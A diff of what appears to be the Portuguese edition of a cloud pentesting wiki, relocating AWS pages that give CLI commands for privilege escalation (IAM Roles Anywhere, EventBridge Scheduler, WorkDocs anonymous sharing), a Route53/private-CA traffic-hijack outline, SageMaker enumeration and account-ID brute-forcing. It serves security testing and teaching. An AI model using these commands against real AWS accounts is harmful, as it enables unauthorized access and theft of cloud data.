+aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
+# The role name can be found in the metadata of the configuration of the pod
+```
+### Federation Abuse
+
+{{#ref}}
+../../aws-basic-information/aws-federation-abuse.md
+{{#endref}}
+
+### IAM Roles Anywhere Privesc
+
+AWS IAM RolesAnywhere permite que cargas de trabalho fora da AWS assumam IAM roles usando certificados X.509. Mas quando as trust policies não estão corretamente limitadas, elas podem ser abusadas para privilege escalation.
+
+Para entender este ataque, é necessário explicar o que é um trust anchor. Um trust anchor no AWS IAM RolesAnywhere é a entidade raiz de confiança: ele contém o certificado público de uma Certificate Authority (CA) registrada na conta para que a AWS possa validar os certificados X.509 apresentados. Dessa forma, se o certificado do cliente foi emitido por essa CA e o trust anchor estiver ativo, a AWS o reconhecerá como válido.
+
+Além disso, um profile é a configuração que define quais atributos do certificado X.509 (como CN, OU ou SAN) serão transformados em session tags, e essas tags serão posteriormente comparadas com as condições da trust policy.
+
+Esta policy não impõe restrições sobre quais trust anchors ou atributos de certificado são permitidos. Como resultado, qualquer certificado vinculado a qualquer trust anchor na conta pode ser usado para assumir este role.
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Service": "rolesanywhere.amazonaws.com"
+},
+"Action": [
+"sts:AssumeRole",
+"sts:SetSourceIdentity",
+"sts:TagSession"
+]
+}
+]
+}
+
+```
+Para privesc, o `aws_signing_helper` é necessário e pode ser obtido em https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
+
+Então, usando um certificado válido, o atacante pode pivot para um role com privilégios mais altos.
+```bash
+aws_signing_helper credential-process \
+--certificate readonly.pem \
+--private-key readonly.key \
+--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
+--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
+--role-arn arn:aws:iam::123456789012:role/Admin
+```
+A âncora de confiança valida que o certificado do cliente `readonly.pem` provém da sua CA autorizada, e dentro desse certificado `readonly.pem` está a chave pública que a AWS usa para verificar que a assinatura foi feita com a correspondente chave privada `readonly.key`.
+
+O certificado também fornece atributos (como CN ou OU) que o perfil `default` transforma em tags, que a política de confiança da role pode usar para decidir se autoriza o acesso. Se não houver condições na política de confiança, essas tags não têm utilidade, e o acesso é concedido a qualquer pessoa com um certificado válido.
+
+Para que este ataque seja possível, tanto a âncora de confiança quanto o perfil `default` devem estar ativos.
+
+### References
+
+- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md
similarity index 74%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md
index 30097e2ef..29fd71530 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md
@@ -1,23 +1,23 @@
 # AWS - WorkDocs Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## WorkDocs
 
-Para mais informações sobre WorkDocs, consulte:
+Para mais informações sobre o WorkDocs, consulte:
 
 {{#ref}}
-../aws-services/aws-directory-services-workdocs-enum.md
+../../aws-services/aws-directory-services-workdocs-enum.md
 {{#endref}}
 
 ### `workdocs:CreateUser`
 
-Crie um usuário dentro do Diretório indicado, então você terá acesso tanto ao WorkDocs quanto ao AD:
+Crie um usuário dentro do diretório indicado, então você terá acesso tanto ao WorkDocs quanto ao AD:
 ```bash
 # Create user (created inside the AD)
 aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
 ```
-### `workdocs:GetDocument`, `(workdocs:DescribeActivities)`
+### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)`
 
 Os arquivos podem conter informações sensíveis, leia-os:
 ```bash
@@ -32,7 +32,7 @@ aws workdocs get-document --document-id <doc-id>
 ```
 ### `workdocs:AddResourcePermissions`
 
-Se você não tem acesso para ler algo, você pode simplesmente concedê-lo.
+Se você não tem acesso para ler algo, você pode simplesmente conceder esse acesso
 ```bash
 # Add permission so anyway can see the file
 aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
@@ -40,14 +40,14 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
 ```
 ### `workdocs:AddUserToGroup`
 
-Você pode tornar um usuário administrador configurando-o no grupo ZOCALO_ADMIN.\
+Você pode tornar um usuário administrador adicionando-o ao grupo ZOCALO_ADMIN.\
 Para isso, siga as instruções em [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
 
 Faça login com esse usuário no workdoc e acesse o painel de administração em `/workdocs/index.html#/admin`
 
-Não encontrei nenhuma maneira de fazer isso pelo cli.
+Não encontrei nenhuma forma de fazer isso pelo cli.
 
 
 
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md
similarity index 60%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md
index 2f5f0143a..6672439cb 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md
@@ -1,20 +1,20 @@
 # AWS - EventBridge Scheduler Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## EventBridge Scheduler
 
-Mais informações sobre o EventBridge Scheduler em:
+Mais informações sobre EventBridge Scheduler em:
 
 {{#ref}}
-../aws-services/eventbridgescheduler-enum.md
+../../aws-services/eventbridgescheduler-enum.md
 {{#endref}}
 
 ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`)
 
-Um atacante com essas permissões poderá **`criar`|`atualizar` um agendador e abusar das permissões do papel do agendador** anexado a ele para realizar qualquer ação
+Um atacante com essas permissões poderá **`create`|`update` um scheduler e abusar das permissões da scheduler role** anexada a ele para executar qualquer ação
 
-Por exemplo, eles poderiam configurar o agendamento para **invocar uma função Lambda** que é uma ação modelada:
+Por exemplo, eles poderiam configurar o schedule para **invoke a Lambda function**, que é uma ação baseada em template:
 ```bash
 aws scheduler create-schedule \
 --name MyLambdaSchedule \
@@ -25,7 +25,7 @@ aws scheduler create-schedule \
 "RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
 }'
 ```
-Além das ações de serviço modeladas, você pode usar **alvos universais** no EventBridge Scheduler para invocar uma ampla gama de operações de API para muitos serviços AWS. Alvos universais oferecem flexibilidade para invocar quase qualquer API. Um exemplo pode ser usar alvos universais adicionando "**AdminAccessPolicy**", usando um papel que tem a política "**putRolePolicy**":
+Além das ações de serviço predefinidas, você pode usar **universal targets** no EventBridge Scheduler para invocar uma ampla gama de operações de API para muitos serviços da AWS. Universal targets oferecem flexibilidade para invocar quase qualquer API. Um exemplo pode ser usar universal targets para adicionar a "**AdminAccessPolicy**", usando uma role que tenha a política "**putRolePolicy**":
 ```bash
 aws scheduler create-schedule \
 --name GrantAdminToTargetRoleSchedule \
@@ -42,4 +42,4 @@ aws scheduler create-schedule \
 - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)
 - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
deleted file mode 100644
index 9f5691f8a..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# AWS - Route53 Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-Para mais informações sobre o Route53, consulte:
-
-{{#ref}}
-../aws-services/aws-route53-enum.md
-{{#endref}}
-
-### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
-
-> [!NOTE]
-> Para realizar este ataque, a conta alvo deve já ter uma [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** configurada na conta, e as instâncias EC2 nas VPC(s) devem já ter importado os certificados para confiá-los. Com essa infraestrutura em vigor, o seguinte ataque pode ser realizado para interceptar o tráfego da API da AWS.
-
-Outras permissões **recomendadas, mas não obrigatórias para a parte de enumeração**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
-
-Assumindo que há uma VPC da AWS com múltiplas aplicações nativas da nuvem se comunicando entre si e com a API da AWS. Como a comunicação entre os microsserviços é frequentemente criptografada em TLS, deve haver uma CA privada para emitir os certificados válidos para esses serviços. **Se o ACM-PCA for usado** para isso e o adversário conseguir **acesso para controlar tanto o route53 quanto a CA privada do acm-pca** com o conjunto mínimo de permissões descrito acima, ele pode **sequestrar as chamadas da aplicação para a API da AWS** assumindo suas permissões IAM.
-
-Isso é possível porque:
-
-- Os SDKs da AWS não têm [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)
-- O Route53 permite criar Zona Hospedada Privada e registros DNS para nomes de domínio da API da AWS
-- A CA Privada no ACM-PCA não pode ser restrita a assinar apenas certificados para Nomes Comuns específicos
-
-**Impacto Potencial:** Privesc indireto ao interceptar informações sensíveis no tráfego.
-
-#### Exploração <a href="#discovery" id="discovery"></a>
-
-Encontre os passos de exploração na pesquisa original: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md
new file mode 100644
index 000000000..16be28ffd
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md
@@ -0,0 +1,32 @@
+# AWS - Route53 Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Para mais informações sobre o Route53 veja:
+
+{{#ref}}
+../../aws-services/aws-route53-enum.md
+{{#endref}}
+
+### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
+
+> [!NOTE]
+> Para realizar esse ataque a conta alvo já deve ter uma [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** configurada na conta, e instâncias EC2 no(s) VPC(s) devem já ter importado os certificados para confiar nela. Com essa infraestrutura em funcionamento, o seguinte ataque pode ser realizado para interceptar o tráfego da API da AWS.
+
+Outras permissões **recomendadas, mas não necessárias para a enumeração**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
+
+Assumindo que existe uma AWS VPC com múltiplas aplicações cloud-native se comunicando entre si e com a AWS API. Como a comunicação entre os microserviços costuma ser criptografada com TLS, deve haver uma CA privada para emitir os certificados válidos para esses serviços. **Se o ACM-PCA for usado** para isso e o adversário conseguir **acesso para controlar tanto o route53 quanto a acm-pca private CA** com o conjunto mínimo de permissões descrito acima, ele pode **sequestrar as chamadas das aplicações à AWS API** assumindo as permissões IAM delas.
+
+Isso é possível porque:
+
+- AWS SDKs não possuem [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)
+- Route53 permite criar Private Hosted Zone e registros DNS para os nomes de domínio das AWS APIs
+- Private CA no ACM-PCA não pode ser limitada a assinar somente certificados para Common Names específicos
+
+**Impacto Potencial:** Privesc indireto ao interceptar informações sensíveis no tráfego.
+
+#### Exploitation <a href="#discovery" id="discovery"></a>
+
+Find the exploitation steps in the original research: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md
similarity index 54%
rename from src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md
index 3a83b7f13..6d5ac5bd2 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md
@@ -1,12 +1,12 @@
-# AWS - DocumentDB Enum
+# AWS - DocumentDB Enumeração
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## DocumentDB
 
-Amazon DocumentDB, oferecendo compatibilidade com MongoDB, é apresentado como um **serviço de banco de dados rápido, confiável e totalmente gerenciado**. Projetado para simplicidade na implantação, operação e escalabilidade, permite a **migração e operação sem problemas de bancos de dados compatíveis com MongoDB na nuvem**. Os usuários podem aproveitar este serviço para executar seu código de aplicativo existente e utilizar drivers e ferramentas familiares, garantindo uma transição e operação suaves, semelhantes ao trabalho com MongoDB.
+Amazon DocumentDB, oferecendo compatibilidade com MongoDB, é apresentado como um **serviço de banco de dados rápido, confiável e totalmente gerenciado**. Projetado para simplicidade no provisionamento, operação e escalabilidade, permite a **migração e operação contínuas de bancos de dados compatíveis com MongoDB na nuvem**. Usuários podem aproveitar este serviço para executar seu código de aplicação existente e utilizar drivers e ferramentas familiares, garantindo uma transição suave e uma operação semelhante a trabalhar com MongoDB.
 
-### Enumeration
+### Enumeração
 ```bash
 aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint"
 aws docdb describe-db-instances #Get hostnames from here
@@ -19,9 +19,9 @@ aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name <para
 aws docdb describe-db-cluster-snapshots
 aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier <snap_id>
 ```
-### Injeção NoSQL
+### NoSQL Injection
 
-Como o DocumentDB é um banco de dados compatível com MongoDB, você pode imaginar que também é vulnerável a ataques comuns de injeção NoSQL:
+Como o DocumentDB é um banco de dados compatível com o MongoDB, você pode imaginar que ele também é vulnerável a ataques comuns de NoSQL injection:
 
 {{#ref}}
 https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
@@ -30,11 +30,11 @@ https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
 ### DocumentDB
 
 {{#ref}}
-../aws-unauthenticated-enum-access/aws-documentdb-enum.md
+../../aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
 {{#endref}}
 
 ## Referências
 
 - [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md
new file mode 100644
index 000000000..8b700a586
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md
@@ -0,0 +1,202 @@
+# AWS - SageMaker Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Visão Geral do Serviço
+
+Amazon SageMaker é a plataforma gerenciada de machine-learning da AWS que integra notebooks, infraestrutura de training, orchestration, registries e endpoints gerenciados. Um comprometimento de recursos do SageMaker tipicamente fornece:
+
+- IAM execution roles de longa duração com amplo acesso a S3, ECR, Secrets Manager ou KMS.
+- Acesso a datasets sensíveis armazenados em S3, EFS ou dentro de feature stores.
+- Pontos de presença na rede dentro de VPCs (Studio apps, training jobs, endpoints).
+- High-privilege presigned URLs que bypassam a autenticação do console.
+
+Entender como o SageMaker é montado é chave antes de pivot, persist, or exfiltrate data.
+
+## Componentes Principais
+
+- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Cada domain possui um sistema de arquivos EFS compartilhado e default execution role.
+- **Notebook Instances**: Instâncias EC2 gerenciadas para notebooks standalone; usam execution roles separados.
+- **Training / Processing / Transform Jobs**: Containers efêmeros que puxam código do ECR e dados do S3.
+- **Pipelines & Experiments**: Workflows orquestrados que descrevem todos os passos, inputs e outputs.
+- **Models & Endpoints**: Artefatos empacotados implantados para inferência via endpoints HTTPS.
+- **Feature Store & Data Wrangler**: Serviços gerenciados para preparação de dados e gerenciamento de features.
+- **Autopilot & JumpStart**: ML automatizado e catálogo de modelos curado.
+- **MLflow Tracking Servers**: UI/API MLflow gerenciada com presigned access tokens.
+
+Cada recurso referencia uma execution role, locais S3, imagens de container e configuração opcional de VPC/KMS — capture todos eles durante a enumeração.
+
+## Metadados da Conta & Globais
+```bash
+REGION=us-east-1
+# Portfolio status, used when provisioning Studio resources
+aws sagemaker get-sagemaker-servicecatalog-portfolio-status --region $REGION
+
+# List execution roles used by models (extend to other resources as needed)
+aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' --output text | tr '	' '
+' | sort -u
+
+# Generic tag sweep across any SageMaker ARN you know
+aws sagemaker list-tags --resource-arn <sagemaker-arn> --region $REGION
+```
+Anote qualquer confiança entre contas (execution roles ou S3 buckets com external principals) e restrições básicas, como service control policies ou SCPs.
+
+## Domínios do Studio, Apps & Espaços Compartilhados
+```bash
+aws sagemaker list-domains --region $REGION
+aws sagemaker describe-domain --domain-id <domain-id> --region $REGION
+aws sagemaker list-user-profiles --domain-id-equals <domain-id> --region $REGION
+aws sagemaker describe-user-profile --domain-id <domain-id> --user-profile-name <profile> --region $REGION
+
+# Enumerate apps (JupyterServer, KernelGateway, RStudioServerPro, CodeEditor, Canvas, etc.)
+aws sagemaker list-apps --domain-id-equals <domain-id> --region $REGION
+aws sagemaker describe-app --domain-id <domain-id> --user-profile-name <profile> --app-type JupyterServer --app-name default --region $REGION
+
+# Shared collaborative spaces
+aws sagemaker list-spaces --domain-id-equals <domain-id> --region $REGION
+aws sagemaker describe-space --domain-id <domain-id> --space-name <space> --region $REGION
+
+# Studio lifecycle configurations (shell scripts at start/stop)
+aws sagemaker list-studio-lifecycle-configs --region $REGION
+aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name <name> --region $REGION
+```
+O que registrar:
+
+- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`.
+- EFS montado (`HomeEfsFileSystemId`) e diretórios home no S3.
+- Scripts de lifecycle (frequentemente contêm credenciais de bootstrap ou código extra para push/pull).
+
+> [!TIP]
+> Presigned Studio URLs podem contornar a autenticação se concedidos amplamente.
+
+## Instâncias de Notebook & Configurações de ciclo de vida
+```bash
+aws sagemaker list-notebook-instances --region $REGION
+aws sagemaker describe-notebook-instance --notebook-instance-name <name> --region $REGION
+aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION
+aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name <cfg> --region $REGION
+```
+Metadados do notebook revelam:
+
+- Função de execução (`RoleArn`), acesso direto à Internet vs. modo somente VPC.
+- Localizações S3 em `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`.
+- Scripts de ciclo de vida para credenciais ou ganchos de persistência.
+
+## Treinamento, Processamento, Transform & Batch Jobs
+```bash
+aws sagemaker list-training-jobs --region $REGION
+aws sagemaker describe-training-job --training-job-name <job> --region $REGION
+
+aws sagemaker list-processing-jobs --region $REGION
+aws sagemaker describe-processing-job --processing-job-name <job> --region $REGION
+
+aws sagemaker list-transform-jobs --region $REGION
+aws sagemaker describe-transform-job --transform-job-name <job> --region $REGION
+```
+Examinar:
+
+- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – quais imagens ECR estão implantadas.
+- `InputDataConfig` & `OutputDataConfig` – S3 buckets, prefixes e chaves KMS.
+- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – determinar a postura de rede ou de criptografia.
+- `HyperParameters` podem leak segredos do ambiente ou strings de conexão.
+
+## Pipelines, Experiments & Trials
+```bash
+aws sagemaker list-pipelines --region $REGION
+aws sagemaker list-pipeline-executions --pipeline-name <pipeline> --region $REGION
+aws sagemaker describe-pipeline --pipeline-name <pipeline> --region $REGION
+
+aws sagemaker list-experiments --region $REGION
+aws sagemaker list-trials --experiment-name <experiment> --region $REGION
+aws sagemaker list-trial-components --trial-name <trial> --region $REGION
+```
+As definições de pipeline detalham cada etapa, roles associados, imagens de container e variáveis de ambiente. Componentes de trial frequentemente contêm URIs de artefatos de treinamento, logs do S3 e métricas que indicam fluxo de dados sensíveis.
+
+## Modelos, Configurações de Endpoint & Endpoints Implantados
+```bash
+aws sagemaker list-models --region $REGION
+aws sagemaker describe-model --model-name <name> --region $REGION
+
+aws sagemaker list-endpoint-configs --region $REGION
+aws sagemaker describe-endpoint-config --endpoint-config-name <cfg> --region $REGION
+
+aws sagemaker list-endpoints --region $REGION
+aws sagemaker describe-endpoint --endpoint-name <endpoint> --region $REGION
+```
+Áreas de foco:
+
+- URIs S3 dos artefatos do modelo (`PrimaryContainer.ModelDataUrl`) e imagens de container de inferência.
+- Configuração de captura de dados do endpoint (S3 bucket, KMS) para possível exfiltração de logs.
+- Endpoints multi-model usando `S3DataSource` ou `ModelPackage` (verificar empacotamento entre contas).
+- Configurações de rede e security groups anexados aos endpoints.
+
+## Feature Store, Data Wrangler & Clarify
+```bash
+aws sagemaker list-feature-groups --region $REGION
+aws sagemaker describe-feature-group --feature-group-name <feature-group> --region $REGION
+
+aws sagemaker list-data-wrangler-flows --region $REGION
+aws sagemaker describe-data-wrangler-flow --flow-name <flow> --region $REGION
+
+aws sagemaker list-model-quality-job-definitions --region $REGION
+aws sagemaker list-model-monitoring-schedule --region $REGION
+```
+Principais pontos de segurança:
+
+- Online feature stores replicam dados para Kinesis; verifique `OnlineStoreConfig.SecurityConfig.KmsKeyId` e VPC.
+- Fluxos do Data Wrangler frequentemente incorporam credenciais JDBC/Redshift ou endpoints privados.
+- Jobs do Clarify/Model Monitor exportam dados para o S3 que podem ser legíveis publicamente ou acessíveis entre contas.
+
+## MLflow Tracking Servers, Autopilot & JumpStart
+```bash
+aws sagemaker list-mlflow-tracking-servers --region $REGION
+aws sagemaker describe-mlflow-tracking-server --tracking-server-name <name> --region $REGION
+
+aws sagemaker list-auto-ml-jobs --region $REGION
+aws sagemaker describe-auto-ml-job --auto-ml-job-name <name> --region $REGION
+
+aws sagemaker list-jumpstart-models --region $REGION
+aws sagemaker list-jumpstart-script-resources --region $REGION
+```
+- Servidores de tracking do MLflow armazenam experimentos e artefatos; presigned URLs podem expor tudo.
+- Jobs do Autopilot disparam vários training jobs — enumere os outputs em busca de dados ocultos.
+- Arquiteturas de referência do JumpStart podem implantar roles privilegiadas na conta.
+
+## Considerações de IAM e Networking
+
+- Enumere as IAM policies anexadas a todos os execution roles (Studio, notebooks, training jobs, pipelines, endpoints).
+- Verifique os contextos de rede: subnets, security groups, VPC endpoints. Muitas organizações isolam training jobs, mas esquecem de restringir o tráfego de saída.
+- Revise as S3 bucket policies referenciadas em `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` para acesso externo.
+
+## Escalada de Privilégios
+
+{{#ref}}
+../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
+{{#endref}}
+
+## Persistência
+
+{{#ref}}
+../../aws-persistence/aws-sagemaker-persistence/README.md
+{{#endref}}
+
+## Pós-Exploração
+
+{{#ref}}
+../../aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
+{{#endref}}
+
+## Acesso Não Autorizado
+
+{{#ref}}
+../aws-sagemaker-unauthorized-access/README.md
+{{#endref}}
+
+## Referências
+
+- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html)
+- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html)
+- [SageMaker Studio Architecture](https://docs.aws.amazon.com/sagemaker/latest/dg/gs-studio.html)
+- [SageMaker Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/security.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
deleted file mode 100644
index 17d9aa4ec..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
+++ /dev/null
@@ -1,43 +0,0 @@
-# AWS - Enumeração de Contas Não Autenticadas
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IDs de Conta
-
-Se você tem um alvo, existem maneiras de tentar identificar os IDs de conta relacionados ao alvo.
-
-### Força Bruta
-
-Você cria uma lista de IDs de conta e aliases potenciais e os verifica.
-```bash
-# Check if an account ID exists
-curl -v https://<acount_id>.signin.aws.amazon.com
-## If response is 404 it doesn't, if 200, it exists
-## It also works from account aliases
-curl -v https://vodafone-uk2.signin.aws.amazon.com
-```
-Você pode [automatizar esse processo com esta ferramenta](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
-
-### OSINT
-
-Procure por URLs que contenham `<alias>.signin.aws.amazon.com` com um **alias relacionado à organização**.
-
-### Marketplace
-
-Se um fornecedor tiver **instâncias no marketplace,** você pode obter o id do proprietário (id da conta) da conta AWS que ele usou.
-
-### Snapshots
-
-- Snapshots EBS públicos (EC2 -> Snapshots -> Public Snapshots)
-- Snapshots públicos do RDS (RDS -> Snapshots -> All Public Snapshots)
-- AMIs públicas (EC2 -> AMIs -> Public images)
-
-### Erros
-
-Muitas mensagens de erro da AWS (mesmo acesso negado) fornecerão essas informações.
-
-## Referências
-
-- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md
new file mode 100644
index 000000000..41f2b0e92
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md
@@ -0,0 +1,43 @@
+# AWS - Accounts Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IDs de conta
+
+Se você tem um alvo, existem formas de tentar identificar os IDs de conta de contas relacionadas ao alvo.
+
+### Brute-Force
+
+Você cria uma lista de possíveis IDs de conta e aliases e os verifica
+```bash
+# Check if an account ID exists
+curl -v https://<acount_id>.signin.aws.amazon.com
+## If response is 404 it doesn't, if 200, it exists
+## It also works from account aliases
+curl -v https://vodafone-uk2.signin.aws.amazon.com
+```
+Você pode [automatizar este processo com esta ferramenta](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
+
+### OSINT
+
+Procure por URLs que contenham `<alias>.signin.aws.amazon.com` com um **alias relacionado à organização**.
+
+### Marketplace
+
+Se um fornecedor tiver **instâncias no marketplace,** você pode obter o owner id (account id) da conta AWS que ele usou.
+
+### Snapshots
+
+- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots)
+- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots)
+- Public AMIs (EC2 -> AMIs -> Public images)
+
+### Erros
+
+Muitas mensagens de erro da AWS (mesmo 'access denied') vão fornecer essa informação.
+
+## Referências
+
+- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
+
+{{#include ../../../../banners/hacktricks-training.md}}
